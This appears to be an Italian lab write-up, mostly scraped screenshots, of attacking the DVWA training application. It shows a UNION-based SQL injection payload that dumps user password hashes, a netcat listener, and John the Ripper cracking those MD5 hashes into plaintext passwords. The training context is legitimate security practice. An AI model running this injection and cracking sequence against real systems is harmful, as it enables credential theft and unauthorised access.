

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: 'UNION SELECT user, password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 'UNION SELECT user, password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 'UNION SELECT user, password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 'UNION SELECT user, password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 'UNION SELECT user, password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

View SourceView Help

Damn Vulnerable Web Application (DVWA) v1.0.7

FileActionsEditViewHelp

(kali@kali)-[~]
\$ nc -lvnp 12345
listening on [any] 12345 ...
^C

(kali@kali)-[~]
\$ john --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

(kali@kali)-[~]
\$ john --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)

(kali@kali)-[~]
\$ nano hashes.txt

(kali@kali)-[~]
\$ john --format=raw-md5 hashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password (?)
password (?)
abcd123 Logout (?)
letmein (?)
Proceeding with incremental:ASCII
charley (?)
5g 0:00:00:00 DONE 3/3 (2024-05-21 20:26) 22.72g/s 810681p/s 810681c/s 817663C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali@kali)-[~]
\$

DVWA

kali@kali: ~

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Submit

hello

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

View SourceView Help

Per prima cosa inseriamo le password trovate nella dicitura *Surname* all'interno di un file txt chiamato **hashes.txt**. La cifratura Hash utilizzata in questo caso è la md5, quindi per decriptarle useremo il tool **John The Ripper** tramite il comando

```
john --format=raw-md5 hashes.txt
```